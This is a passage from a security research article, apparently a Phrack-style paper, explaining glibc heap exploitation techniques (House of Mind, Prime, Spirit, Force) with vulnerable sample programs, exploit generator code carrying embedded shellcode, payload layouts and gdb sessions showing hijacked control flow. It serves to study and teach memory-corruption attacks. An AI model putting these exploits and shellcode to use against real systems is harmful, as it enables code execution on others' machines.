Well, yes, if we go back in time. Even at the same vulnerability in is_modified() function of CVS. We can see the function corresponding to the command "entry" of that service:

[-----]

```
 static void serve_entry (arg)
       char *arg;
 {
     struct an_entry *p; char *cp;

     [...]
     cp = arg;
     [...]
     p = xmalloc (sizeof (struct an_entry));
     cp = xmalloc (strlen (arg) + 2); strcpy (cp, arg); p->next = entries;
     p->entry = cp;
     entries = p;
 }
```

[-----]

How vl4d1m1r said, the heap layout will looked something like this:

```
   [an_entry][buffer][an_entry][buffer]...[Wilderness]
```

These chunks will not be free()ed until the function server_write_entries() is called with the "noop" command. Note that in addition to controlling the number of allocated chunks, you can control the length too.

You can find this theory much better explained in the article "The Art of Exploitation: Come on back to exploit [10] published by vl4d1m1r of Ac1dB1tch3z in Phrack 64.

The old exploit used the technique unlink () to accomplish its purpose. This was for the glibc versions where this feature was not yet patched.

I'm not saying that The House of Mind is applicable to this vulnerability, but rather that meets certain conditions. It would be an exercise for the more advanced reader.

I have checked this House in a Linux distro with GLIBC 2.8.90.

We arrived, after a long journey, to The House of Mind.

> << Si el unico instrumento de que se
> dispone es un martillo, todo acaba
> pareciendo un clavo. >>
>
> [Lotfi Zadeh]

---[4.1.1 ---[FASTBIN METHOD   ]---

As a new technique, I established in this paper a practical solution to "Fastbin method" in The House of Mind, which was only exposed of theoretical mode in the papers of Phantasmal and K-sPecial, and also contained certain elements which were wrongly interpreted.

Both, K-special and Phantasmal said practically the same in their documents about this method. The basic idea was to trigger following code:

```
[-----]

  if ((unsigned long)(size) <= (unsigned long)(av->max_fast)) {
   if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
        || __builtin_expect (chunksize (chunk_at_offset (p, size))
                             >= av->system_mem, 0))
      {
        errstr = "free(): invalid next size (fast)";
        goto errout;
      }

    set_fastchunks(av);
    fb = &(av->fastbins[fastbin_index(size)]);
    if (__builtin_expect (*fb == p, 0))
      {
        errstr = "double free or corruption (fasttop)";
        goto errout;
      }
    printf("\nbDebug: p = 0x%x - fb = 0x%x\n", p, fb);
    p->fd = *fb;
    *fb = p;
  }

[-----]
```

As this code is located after the first integrity check in "_int_free()", the main advantage is that we should not worry about the following tests. This may appear to be a task easier than previous method, but in reality it is not.

The core of this technique is in place "fb" to the address of an entry of ".dtors" or "GOT". Thanks to "The House of Prime" (first house discussed in Malloc Maleficarum), we know how to accomplish this.

If we hack the "size" field of the overflowed chunk passed to free() and sets it to 8, "fastbin_index()" returned the following value:

```
   #define fastbin_index(sz) ((((unsigned int)(sz)) >> 3) - 2)

   (8 >> 3) - 2 = -1
```

Then:

```
   &(av->fastbins[-1])
```

And as in an arena structure (malloc_state) the previous item to fastbins[] matrix is "av->maxfast" (they are contiguous), the address where is this value will be placed in "fb".

In "*fb = p", the content of this address will be overwritten with the address of the liberated chunk "p", which as before should must contain a "JMP" sentence to reach the Shellcode.

Seen this, if you want to use ".dtors", you should make that "ar_ptr" points to ".dtors" address in "public_free()", so that this address will be the fakearena and "av->max_fast (av + 4)" will be equal to ".dtors + 4". Then it will be overwritten with the address of "p".

But to achieve this you have to go through a hard path. Let's see the conditions that we must meet:

1) The size of chunk must be less than "av->maxfast":

```
   if ((unsigned long)(size) <= (unsigned long)(av->max_fast))
```

This is relatively the easiest, because we said that the size will be equal to "8" and "av->max_fast" will be the address of a destructor. It should be clear that in this case "DTORS_END" is not valid because it is always "\x00\x00\x00\x00" and never will be greater than "size". It seems then that the most effective is to make use of the Global Offset Table (GOT).

We must be aware that we say that "size" must be 8, but in order to modify "ar_ptr", as in the previous technique, then NON_MAIN_ARENA bit (third least significant bit) must be set. So, I think, "size" should actually be:

```
      8 = 1000b | 100b = 4 | 8 + NON_MAIN_ARENA = 12 = [0x0c]

      With PREV_INUSE bit set: 1101b = [0x0d]
```

2) The size of contiguous chunk (next chunk) to "p" must be greater than "8":

```
   __builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
```

This is no problem, right?

3) The same chunk, at time, must be less than "av->system_mem":

```
   __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0)
```

This is perhaps the most complicated step. Once established ar_ptr(av) in ".dtors" or "GOT", the "system_mem" item in "malloc_state" structure is beyond 1848 bytes.

GOT is almost contiguous to DTORS. In small applications the GOT table also is relatively small. For this reason it is normal to find in the av->system_mem position a lot of zero bytes. Let's see:

```
   [-----]

   blackngel@linux:~$ objdump -s -j .dtors ./heap1
   ...
   Contents of section .dtors:
   8049650 ffffffff 00000000
                    ........
   blackngel@mac:~$ gdb -q ./heap1
   (gdb) break main
   Breakpoint 1 at 0x8048442
   (gdb) run < file
   ...
   Breakpoint 1, 0x08048442 in main ()
   (gdb) x/8x 0x08049650
   0x8049650 <__DTOR_LIST__>: 0xffffffff 0x00000000 0x00000000 0x00000001
   0x8049660 <_DYNAMIC+4>:    0x00000010 0x0000000c 0x0804830c 0x0000000d
   (gdb) x/8x 0x08049650 + 1848
   0x8049d88: 0x00000000   0x00000000   0x00000000   0x00000000
   0x8049d98: 0x00000000   0x00000000   0x00000000   0x00000000
```

[-----]

This technique appears to be only apply to large programs. Unless, as Phantasmal said, we can use the stack. How?

If "ar_ptr" is set to EBP address in a function, then "av->max_fast" will be EIP, which may be overwritten with the address of the chunk "p", and you already know how continues.

Here is ended the theory presented in the two mentioned papers. But unfortunately there is something that they forgot... at least it is something that quite surprised me from K-sPecial.

We learned about the previous attack, that "av->mutex", which is the first item in an "arena" structure, should be equal to 0. K-special, warned us that otherwise, "free()" would remain in an infinite loop...

What about DTORS then?

".dtors" will be always "0xffffffff", otherwise it will be a destructor address, but never 0.

You can find "0x00000000" four bytes behind of .dtors, but overwrite "0xffffffff" has no effect.

What happens then with GOT?

I do not think that you can found 0x00000000 values between each item within the GOT.

Solutions?

>From the beginning, I only explored one possible solution:

The main goal would be to use the stack, as mentioned earlier. But the difference is that we should have a buffer overflow before that allow overwrite EBP with 0 bytes, so we have:

```
   EBP = av->mutex = 0x00000000
   EIP = av->max_fast = &(p)
   *p     = "jmp 0x0c"
   *p + 4 = 0x0c o 0x0d
   *p + 8 = NOPS + SHELLCODE
```

But a little magic can do wonders...

FINAL SOLUTION

Phantasmal and K-sPecial thought to use only "av->maxfast" to overwrite then this memory location with the address of the chunk "p".

But because we control the entire arena "av", can we afford make a new analysis of "fastbin_index()" for a size argument of 16 bytes:

```
   (16 >> 3) - 2 = 0
```

So we obtain: fb = &(av->fastbins [0]), and if we get this, we can use the stack to overwrite EIP. How?

If our vulnerable code is into fvuln() function, EBP and EIP will be pushed in the stack at the prologue, and what there is behind EBP? If no user data then usually you can find a "0x00000000" value. If we use "av->fastbins[0]" and not "av->maxfast", we have the following:

```
   [ 0xRAND_VAL ]  <->  av + 1848 = av->system_mem
    ............
   [     EIP    ]  <->  av->fastbins[0]
   [     EBP    ]  <->  av->max_fast
   [ 0x00000000 ]  <->  av->mutex
```

In "av + 1848" is normal to find addresses or random values for "av->system_mem" and so we can pass the checks to reach the final code of "fastbin".

The "size" field of "p" must be 16 with NON_MAIN_ARENA and PREV_INUSE bits enabled. Then:

```
   16 = 10000 | NON_MAIN_ARENA and PREV_INUSE = 101 | SIZE = 10101 = 0x15h
```

And we can control the "size" field of the next chunk to be greater than "8" and less than "av->system_mem". If you look at the code above you will note that this field is calculated from the offset of "p", therefore, this field is virtually in "p + 0x15", which is an offset of 21 bytes.

If we write a value of "0x09" in that position it will be perfect.

But this value will be in the middle of our NOPS filler and we should make a small change in the "JMP" sentence in order to jump farthest. Something like 16 bytes will be sufficient.

For the Proof of Concept, I modified "aircrack-2.41" adding in main() the following code:

```
[-----]

  int fvuln()
  {
       // Make something stupid here.
  }

   int main( int argc, char *argv[] )
   {
       int i, n, ret;
       char *s, buf[128];
       struct AP_info *ap_cur;

       fvuln();
   ...

[-----]
```

The next code exploit the vulnerability:

```
[-----]
```

```
/*
 * FastBin Method - exploit
 */

#include <stdio.h>

/* linux_ia32_exec -  CMD=/usr/bin/id Size=72 Encoder=PexFnstenvSub
http://metasploit.com */
unsigned char scode[] =
"\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
"\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
"\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
"\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
"\x5e\x9e\x39\xcb\xbf\x04\xea\x42";

int main (void) {

        int i, j;

        for (i = 0; i < 1028; i++)                            /* FILLER  */
                putchar(0x41);

        for (i = 0; i < 518; i++) {
                fwrite("\x09\x04\x00\x00", 4, 1, stdout);
                for (j = 0; j < 1028; j++)
                        putchar(0x41);
        }
        fwrite("\x09\x04\x00\x00", 4, 1, stdout);

        for (i = 0; i < (1024 / 4); i++)
                fwrite("\x34\xf4\xff\xbf", 4, 1, stdout);    /*  EBP - 4 */

        fwrite("\xeb\x16\x90\x90", 4, 1, stdout);            /* JMP 0x16 */

        fwrite("\x15\x00\x00\x00", 4, 1, stdout);  /* 16 + N_M_A + P_INU */

        fwrite("\x90\x90\x90\x90" \
               "\x90\x90\x90\x90" \
               "\x90\x90\x90\x90" \
               "\x09\x00\x00\x00" \                   /* nextchunk->size */
               "\x90\x90\x90\x90", 20, 1, stdout);


        fwrite(scode, sizeof(scode), 1, stdout);      /* THE MAGIC CODE  */

        return(0);
}
```

[-----]

Let’s now see it in action:

[-----]

```
blackngel@linux:~$ gcc ploit1.c -o ploit
blackngel@linux:~$ ./ploit > file
blackngel@linux:~$ gdb -q ./aircrack

(gdb) disass fvuln
Dump of assembler code for function fvuln:
.........
.........
0x08049298 <fvuln+184>: call   0x8048d4c <free@plt>
0x0804929d <fvuln+189>: movl   $0x8056063,(%esp)
0x080492a4 <fvuln+196>: call   0x8048e8c <puts@plt>
0x080492a9 <fvuln+201>: mov    %esi,(%esp)
0x080492ac <fvuln+204>: call   0x8048d4c <free@plt>
```

```
0x080492b1 <fvuln+209>: movl   $0x8056075,(%esp)
0x080492b8 <fvuln+216>: call   0x8048e8c <puts@plt>
0x080492bd <fvuln+221>: add    $0x1c,%esp
0x080492c0 <fvuln+224>: xor    %eax,%eax
0x080492c2 <fvuln+226>: pop    %ebx
0x080492c3 <fvuln+227>: pop    %esi
0x080492c4 <fvuln+228>: pop    %edi
0x080492c5 <fvuln+229>: pop    %ebp
0x080492c6 <fvuln+230>: ret
End of assembler dump.

(gdb) break *fvuln+204                          /* Before second free() */
Breakpoint 1 at 0x80492ac: file linux/aircrack.c, line 2302.

(gdb) break *fvuln+209                          /* After second free() */
Breakpoint 2 at 0x80492b1: file linux/aircrack.c, line 2303.

(gdb) run < file
Starting program: /home/blackngel/aircrack < file
[Thread debugging using libthread_db enabled]
ptr found at 0x807d008
good heap allignment found on malloc() 521 (0x8100048)

END fread()                 /* tests when free () freezing (mutex != 0) */

END first free()            /* tests when free () freezing (mutex != 0) */
[New Thread 0xb7e5b6b0 (LWP 8312)]
[Switching to Thread 0xb7e5b6b0 (LWP 8312)]

Breakpoint 1, 0x080492ac in fvuln () at linux/aircrack.c:2302
warning: Source file is more recent than executable.
2302            free(ptr2);

/* STACK DUMP */
(gdb) x/4x 0xbffff434    // av->max_fast // av->fastbins[0]
0xbffff434:   0x00000000     0xbffff518     0x0804ce52     0x080483ec

(gdb) x/x 0xbffff434 + 1848  /* av->system_mem */
0xbffffb6c:     0x3d766d77

(gdb) x/4x 0x08100048-8+20   /* nextchunk->size */
0x8100054:  0x00000009   0x90909090   0xe983c931   0xd9eed9f4
(gdb) c
Continuing.

Breakpoint 2, fvuln () at linux/aircrack.c:2303
2303            printf("\nEND second free()\n");

(gdb) x/4x 0xbffff434                 // EIP = &(p)
0xbffff434:  0x00000000   0xbffff518   0x08100040   0x080483ec
(gdb) c
Continuing.

END second free()
[New process 8312]
uid=1000(blackngel) gid=1000(blackngel) groups=4(adm),20(dialout),
24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),
46(plugdev),104(scanner),108(lpadmin),110(admin),115(netdev),
117(powerdev),1000(blackngel),1001(compiler)

Program exited normally.

[-----]
```

The advantage of this method is that it does not touch at any time the EBP register, and thus we can skip some protection to BoF.

It is also noteworthy that the two methods presented here, in The House of

Mind, are still applicable in the most recent versions of glibc, I have checked it with the latest version of GLIBC 2.8.90.

This time we have arrived, walking with lead foot and after a long journey, to The House of Mind.

```
                 << Solo existen 10 tipos de personas: los que
                    saben binario y los que no. >>

                                                        [ XXX ]
```

```
               -----------------------
---[ 4.1.2 ---[   av->top NIGHTMARE   ]---
               -----------------------
```

Once I had completed the study of The House of Mind, tracking down a little more code in search of other possible attack vectors, I found something like this at _int_free ():

```
[-----]

    /*
      If the chunk borders the current high end of memory,
      consolidate into top
    */

    else {
      size += nextsize;
      set_head(p, size | PREV_INUSE);
      av->top = p;
      check_chunk(av, p);
    }

[-----]
```

Since we control the arena "av", we could place it in a certain location of the stack, such that av->top coincide exactly with a saved EIP.

At this point, EIP would be overwritten with the address of our chunk "p" overflowed. Then one arbitrary code execution could be triggered.

But my intentions were soon frustrated. To achieve execution of this code, in a controlled environment, we should meet one impossible condition:

```
    if (nextchunk != av->top) {
       ...
    }
```

This only happens when the chunk "p" that will be free()ed, is contiguous to the highest chunk, the Wilderness.

At some point you might think that you control the value of av->top, but remember that once you place av in the stack, the control is passed to random values in memory, and the current value of EIP never will be equal to "nextchunk" unless it is possible one classic stack-overflow, then I don't know that you do reading this article...

That I just want to prove, that for better or for worse, all possible ways should be examined carefully.

```
                        << Hasta ahora las masas han ido
                           siempre tras el hechizo. >>
```

                                               [K. Jaspers]

```
               ------------------------
---[ 4.2 ---[   THE HOUSE OF PRIME   ]---
               ------------------------
```

Thus seen to date, I do not want to dwell too much. The House of Prime is, unquestionably, one of the most elaborated techniques in Malloc Maleficarum . The result of a virtual adept.

However, as mentioned Phantasmal well, it is the least useful of all them at first. While bearing in mind that The House of Mind requires a chunk of memory located in 0x08100000, this should not be left aside.

To perform this technique will be needed tow calls to free() over two chunks of memory that should be under designer's control, and one future call to "malloc ()".

The goal here, it sould be clear, it is not overwrite any memory address (even if it's necessary to completion of the technique), but make that one call to "malloc()" returns an arbitrary memory address. Then, if we can control this area doing that it will fall in the stack, we could take total control of application.

A final requirement is that the designer must control what is written in this allocated chunk, so if we put it on the stack, relatively close to EIP, this register can be overwritten with a arbitrary value. And you already know as follows...

Let's see a vulnerable program:

```
[-----]

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void fvuln(char *str1, char *str2, int age)
{
   int local_age;
   char buffer[64];
   char *ptr = malloc(1024);
   char *ptr1 = malloc(1024);
   char *ptr2 = malloc(1024);
   char *ptr3;

   local_age = age;
   strncpy(buffer, str1, sizeof(buffer)-1);

   printf("\nptr found at [ %p ]", ptr);
   printf("\nptr1ovf found at [ %p ]", ptr1);
   printf("\nptr2ovf found at [ %p ]\n", ptr2);

   printf("Enter a description: ");
   fread(ptr, 1024 * 5, 1, stdin);

   free(ptr1);
   printf("\nEND free(1)\n");
   free(ptr2);
   printf("\nEND free(2)\n");

   ptr3 = malloc(1024);
   printf("\nEND malloc()\n");
   strncpy(ptr3, str2, 1024-1);
   printf("Your name is %s and you are %d", buffer, local_age);
}

int main(int argc, char *argv[])
{
   if(argc < 4) {
      printf("Usage: ./hop name last-name age");
      exit(0);
   }

   fvuln(argv[1], argv[2], atoi(argv[3]));

   return 0;
}
```

[-----]

To start, we need to control the header of a first chunk that will be passed to free(), so that when we trigger a first call to "free()", the same code that in the "FastBin Method" will be used, but this time the size field of the chunk has to be "8", and obtain:

```
   fastbin_index(8) ((((unsigned int)(8)) >> 3) - 2) = -1
```

Then:

```
   fb = &(av->fastbins[-1]) = &av->max_fast;
```

In the last sentence: (*fb = p), av-> max_fast will be overwritten with the address of our chunk being free()'d.

The result is very evident, from that moment we can run the same piece of code in free() whenever the size of chunk that will be passed to free() is less than the value of the chunk address "p" previously free()'d.

Typically: av->max_fast = 0x00000048, and now is 0x080YYYYY. What is more than you need.

To pass the integrity chesks of the first free() call, we need these sizes:

chunk "p" -> 8 (0x9h if PREV_INUSE bit is set).
nextchunk -> 10h is a good value (8 < "0x10h" < av->system_mem)

So the exploit would start with something like this:

[-----]

```
int main (void) {

        int i, j;

        for (i = 0; i < 1028; i++)                            /* FILLER */
                putchar(0x41);

        fwrite("\x09\x00\x00\x00", 4, 1, stdout); /* free(1) ptr1 size */
        fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* FILLER */
        fwrite("\x10\x00\x00\x00", 4, 1, stdout); /* free(1) ptr2 size */
```

[-----]

The next mission is to overwrite the value of "arena_key" (read Malloc Maleficarum for details) which is typically above "av" (&main_arena).

As we can use chunks of very large sizes, we can make that &(av->fastbins[x]) points very far. At least enough to reach the value of "arena_key" and overwrite it with the "p" address.

Taking the example of Phantasmal, we would have to resize the second chunk to with the next value:

```
   1156 bytes / 4 = 289
   (289 + 2) << 3 = 2328 = 0x918h -> 0x919 (PREV_INUSE)
                           ------
```

You have to check again the "size" field of the next chunk, whose address is calculated from the value that we obtain a moment ago.

You can continue your exploit:

```
[-----]

        for (i = 0; i < 1020; i++)
                putchar(0x41);
        fwrite("\x19\x09\x00\x00", 4, 1, stdout); /* free(2) ptr2 size */

        .... /* Later */

        for (i = 0; i < (2000 / 4); i++)
                fwrite("\x10\x00\x00\x00", 4, 1, stdout);

[-----]
```

At the end of the second free (): arena_key = p2.

This value will be used by the call to malloc () setting it as the "arena" structure to use.

```
    arena_get(ar_ptr, bytes);
    if(!ar_ptr)
      return 0;
    victim = _int_malloc(ar_ptr, bytes);
```

Again, let’s go to see, to be more intuitive, the magic code of "_int_malloc()" function:

```
    .....

    if ((unsigned long)(nb) <= (unsigned long)(av->max_fast)) {
      long int idx = fastbin_index(nb);
      fb = &(av->fastbins[idx]);
      if ( (victim = *fb) != 0) {
        if (fastbin_index (chunksize (victim)) != idx)
          malloc_printerr (check_action, "malloc(): memory"
            " corruption (fast)", chunk2mem (victim));
        *fb = victim->fd;
        check_remalloced_chunk(av, victim, nb);
        return chunk2mem(victim);
      }

    .....
```

"av" is now our arena, which starts at the beginning of the second chunk liberated "p2", then it is clear that "av->max_fast" will be equal to the "size" field of the chunk. In order to pass the first integrity check, we have to ensure that the size requested by the "malloc()" call is less than that value, as Phantasmal said, otherwise you can try the technique described in 4.2.1.

As our vulnerable program allocate 1024 bytes, it will be perfect por a successful exploitation.

Then we can see that "fb" is set to address of a "fastbin" in "av", and in the following sentence, its content will be the final address of "victim". Remember that our goal is to allocate an amount of bytes into a place of our choice.

Do you remember / * Later * / ?

Well, that is where we need to copy repeatedly the address that we want in the stack, so any return "fastbin" set our address in "fb".

Mmmmm, but wait a moment, the next condition is the most important:

```
   if (fastbin_index (chunksize (victim)) != idx)
```

This means that the "size" field of our fakechunk must be equal to the amount requested by "malloc()". This is the last requirement in The House of Prime. We must control a value into memory and place address of "victim" just 4 bytes before, so this value would become its new size.

Our vulnerable application get as parameters: "name", "surname" and "age". This last value is an integer that will be stored in the stack. If we make: age = 1024->(1032), we only must look for it into the stack to know the final address of "victim".

```
[-----]

(gdb) run Black Ngel 1032 < file
ptr found at [ 0x80b2a20 ]
ptr1ovf found at [ 0x80b2e28 ]
ptr2ovf found at [ 0x80b3230 ]
Escriba una descripcion:
END free(1)

END free(2)

Breakpoint 2, 0x080482d9 in fvuln ()
(gdb) x/4x $ebp-32
0xbffff838:     0x00000000      0x00000000      0xbf000000      0x00000408

[-----]
```

Here we have our value, we should point to "0xbffff840".

```
        for (i = 0; i < (600 / 4); i++)
                fwrite("\x40\xf8\xff\xbf", 4, 1, stdout);
```

You should have: ptr3 = malloc(1024) = 0xbffff848, remember that it returns a pointer to the memory (data area) and not to chunk’s header.

We are really close to EBP and EIP. What happens if our "name" is composed by a few letters "A"?

```
[-----]

(gdb) run Black ‘perl -e ’print "A"x64’‘ 1032 < file
.....
ptr found at [ 0x80b2a20 ]
ptr1ovf found at [ 0x80b2e28 ]
ptr2ovf found at [ 0x80b3230 ]
Escriba una descripcion:
END free(1)

END free(2)

Breakpoint 2, 0x080482d9 in fvuln ()
(gdb) c
Continuing.

END malloc()

Breakpoint 3, 0x08048307 in fvuln ()
```

```
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
```

[-----]

Bingo! I think that you can put your own Shellcode, right?

Actually, addresses require manual adjustments, but that is trivial when you know write "gdb" in your shell.

At first, this technique is only applicable to version 2.3.6 of GLIBC. Later was added in the "free()" function an integrity check like this:

[-----]

```
  /* We know that each chunk is at least MINSIZE bytes in size. */
  if (__builtin_expect (size < MINSIZE, 0))
    {
      errstr = "free(): invalid size";
      goto errout;
    }

  check_inuse_chunk(av, p);
```

[-----]

Which does not allow us to establish a smaller size than "16".

In honor to the first house developed and built by Phantasmal we have shown that it is possible to arrive alive at The House of Prime.

> << La tecnica no solo es una
> modificacion, es poder sobre
> las cosas. >>
>
> [Xavier Zubiri]

```
               -----------------------
---[ 4.2.1 ---[   unsorted_chunks()   ]---
               -----------------------
```

Until the call to "malloc()", the technique is exactly the same as described in 4.2. The difference comes when the amount of bytes that you want to alloc with that call is over "av->max_fast", which appears to be the size of the second chunk passed to free().

Then, as Phantasmal advanced us, another piece of code can be triggered so that we will can overwrite an arbitrary address of memory.

But again he was wrong when he said:

   "Firstly, the unsorted_chunks() macro returns av->bins[0]."

And this is not true, because "unsorted_chunks ()" returned address of "av->bins[0]" and not its value, which means that we must devise another method.

Being these lines the most relevant:

```
     .....
        victim = unsorted_chunks(av)->bk
        bck = victim->bk;
        .....
        .....
        unsorted_chunks(av)->bk = bck;
        bck->fd = unsorted_chunks(av);
     .....
```

I propose the following method:

1) Put at &av->bins[0]+12 the address of (&av->bins[0]+16-12). Then:

   victim = &av->bins[0]+4;

2) Put at &av->bins[0]+16 address of EIP - 8. Then:

   bck = (&av->bins[0]+4)->bk = av->bins[0]+16 = &EIP-8;

3) Put at av->bins[0] a "JMP 0xYY" sentence to jump at least as far as &av->bins[0]+20. In the penultimate sentence it will destroy &av->bins[0]+12, but it is not important now, to the end we will have:

   bck->fd = EIP = &av->bins[0];

4) Put (NOPS + SHELLCODE) from &av->bins[0] + 20.

When a "ret" instruction is executed, it will go to our "JMP" and this fall directly on the NOPS, moving east until the shellcode.

We should have something like this:

```
    &av->bins[0]     &av->bins[0]+12     &av->bins[0]+16
    |                |                   |
 ...[ JMP 0x16 ].....[&av->bins[0]+16-12][ EIP - 8][ NOPS + SHELLCODE ]...
           |_______________________|_____|_________|
          (2)                      |_____|
                                 (1)
```

  (1) This happens here: bck = (&av->bins[0]+4)->bk.
  (2) This happens after the execution of a "ret"

The great advantage of this method is that we can achieve a direct arbitrary code execution instead of returning a controlled chunk from "malloc()".

Perhaps through this clever way you can directly reach The House of Prime.

<< Felicidad no es hacer lo que
uno quiere, sino querer lo que
uno hace. >>

[J. P. Sartre]

---[4.3 ---[THE HOUSE OF SPIRIT]---

The House of Spirit is, undoubtedly, one of the most simple applied technique when circumstances are propitious. The goal is to overwrite a pointer that was previously allocated with a call to "malloc()" so that when this is passed to free(), an arbitrary address will be stored in a "fastbin[]".

This can bring that in a future call to malloc(), this value will be taken as the new memory for the requested chunk. And what happens if I do that this memory chunk to fall into any specific area of stack?

Well, if we can control what we write in, we can change everything value that is ahead. As always, this is where EIP enters to the game.

Let’s go to see a vulnerable program:

```
[-----]

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void fvuln(char *str1, int age)
{
   static char *ptr1, name[32];
   int local_age;
   char *ptr2;

   local_age = age;

   ptr1 = (char *) malloc(256);
   printf("\nPTR1 = [ %p ]", ptr1);
   strcpy(name, str1);
   printf("\nPTR1 = [ %p ]\n", ptr1);

   free(ptr1);

   ptr2 = (char *) malloc(40);

   snprintf(ptr2, 40-1, "%s is %d years old", name, local_age);
   printf("\n%s\n", ptr2);
}

int main(int argc, char *argv[])
{
   if (argc == 3)
      fvuln(argv[1], atoi(argv[2]));

   return 0;
}

[-----]
```

It is easy to see how the "strcpy()" function allow to overwrite the "ptr1" pointer:

```
   blackngel@mac:~$ ./hos ‘perl -e ’print "A"x32 . "BBBB"’‘ 20
   PTR1 = [ 0x80c2688 ]
   PTR1 = [ 0x42424242 ]
   Segmentation fault
```

With this in mind, we can change the address of the chunk, but not all addresses are valid. Remember that in order to execute the "fastbin" code described in The House of Prime, we need a minor value than "av->max_fast" and, more specifically, as Phantasmal said, it has to be equal to the size requested in the future call to "malloc()" + 8.

So as one of the arguments in our application is the "age" parameter, we can put any value in the stack, which in this case will be "0x48", and seek its address.

```
(gdb) x/4x $ebp-4
0xbffff314:     0x00000030      0xbffff338      0x080482ed      0xbffff702
```

In our case we see that the value is just behind EBP, and PTR1 would must point to EBP. Remember that we are modifying the pointer to memory, not the chunk's address.

The most important requirement to success of this technique is pass the integrity check of the next chunk:

```
      if (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
          || __builtin_expect (chunksize (chunk_at_offset (p, size))
                               >= av->system_mem, 0))
```

... at $EBP - 4 + 48 we must have a value that meets the above conditions. Otherwise you should look for another addresses of memory that can allow you to control both values.

```
(gdb) x/4x $ebp-4+48
0xbffff344:     0x0000012c      0xbffff568      0x080484eb      0x00000003
```

I will shown what it happens:

```
                   val1         target                val2
                    o             |                     o
      -64           |  mem  -4    0   +4  +8  +12 +16   |
       |            |   |    |    |    |   |   |   |    |
  .....][P_SIZE][size+8][...][EBP][EIP][..][..][..][next_size][ ......
                    |   |                           |
                    o---|---------------------------o
                        |      (size + 8) bytes
                       PTR1
                        |---> Future PTR2
                                     ----
```

```
   (target) Value to overwrite.
   (mem)  Data of fakechunk.
   (val1) Size of fakechunk.
   (val2) Size of next chunk.
```

If this happens, control will be in our hands:

[-----]

```
blackngel@linux:~$ gdb -q ./hos
(gdb) disass fvuln
Dump of assembler code for function fvuln:
0x080481f0 <fvuln+0>:   push   %ebp
0x080481f1 <fvuln+1>:   mov    %esp,%ebp
0x080481f3 <fvuln+3>:   sub    $0x28,%esp
0x080481f6 <fvuln+6>:   mov    0xc(%ebp),%eax
0x080481f9 <fvuln+9>:   mov    %eax,-0x4(%ebp)
0x080481fc <fvuln+12>:  movl   $0x100,(%esp)
0x08048203 <fvuln+19>:  call   0x804f440 <malloc>
..........
..........
0x08048230 <fvuln+64>:  call   0x80507a0 <strcpy>
..........
..........
0x08048252 <fvuln+98>:  call   0x804da50 <free>
0x08048257 <fvuln+103>: movl   $0x28,(%esp)
0x0804825e <fvuln+110>: call   0x804f440 <malloc>
..........
..........
0x080482a3 <fvuln+179>: leave
0x080482a4 <fvuln+180>: ret
```

```
End of assembler dump.

(gdb) break *fvuln+19          /* Before malloc() */
Breakpoint 1 at 0x8048203

(gdb) run `perl -e 'print "A"x32 . "\x18\xf3\xff\xbf"'` 48
.........
..........
Breakpoint 1, 0x08048203 in fvuln ()
(gdb) x/4x $ebp-4   /* 0x30 = 48 */
0xbffff314:     0x00000030      0xbffff338      0x080482ed      0xbffff702

(gdb) x/4x $ebp-4+48   /* 8 < 0x12c < av->system_mem */
0xbffff344:     0x0000012c      0xbffff568      0x080484eb      0x00000003

(gdb) c
Continuing.

PTR1 = [ 0x80c2688 ]
PTR1 = [ 0xbffff318 ]

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

[-----]
```

In this special case, the address of EBP would be the address of PTR2 zone data, which means that the fourth write character will overwrite EIP, and you will can point to your Shellcode.

This technique has the advantage, once again, to remain applicable in the newer versions of glibc so as PTMALLOC3. Must be known that the Phantasmal's theory still remain to the pass of the time.

Now you can feel the power of witches. We arrived, flying in broom at The House of Spirit.

> << La television es el espejo donde
> se refleja la derrota de todo
> nuestro sistema cultural. >>
>
> [Federico Fellini]

```
             -------------------------
---[ 4.4 ---[   THE HOUSE OF FORCE    ]---
             -------------------------
```

The top chunk (Wilderness), as I mentioned earlier in this article may be one of the most dreaded chunks. Sure, it is treated in a special way by the free() and malloc() functions, but in this case will be the trigger for a possible arbitrary code execution.

The main goal of this technique is to reach the next piece of code in "_int_malloc ()":

```
[-----]

    .....
    use_top:
      victim = av->top;
      size = chunksize(victim);
      if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) {
        remainder_size = size - nb;
        remainder = chunk_at_offset(victim, nb);
        av->top = remainder;
        set_head(victim, nb | PREV_INUSE |
                 (av != &main_arena ? NON_MAIN_ARENA : 0));
        set_head(remainder, remainder_size | PREV_INUSE);
        check_malloced_chunk(av, victim, nb);
        return chunk2mem(victim);
      }
    .....
```

[-----]

This technique requires three conditions:

    1 - One overflow in a chunk that allows to overwrite the Wilderness.

    2 - A call to "malloc()" with size field defined by designer.

    3 - Another call to "malloc()" where data can be handled by designer.

The ultimate goal is to get a chunk placed in an arbitrary memory. This position will be obtained by the last call to "malloc()", but first we must analyse more things.

Consider first a possible vulnerable program:

[-----]

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void fvuln(unsigned long len, char *str)
{
   char *ptr1, *ptr2, *ptr3;

   ptr1 = malloc(256);
   printf("\nPTR1 = [ %p ]\n", ptr1);
   strcpy(ptr1, str);

   printf("\Allocated MEM: %u bytes", len);
   ptr2 = malloc(len);
   ptr3 = malloc(256);

   strncpy(ptr3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 256);
}

int main(int argc, char *argv[])
{
   char *pEnd;
   if (argc == 3)
      fvuln(strtoull(argv[1], &pEnd, 10), argv[2]);

   return 0;
}
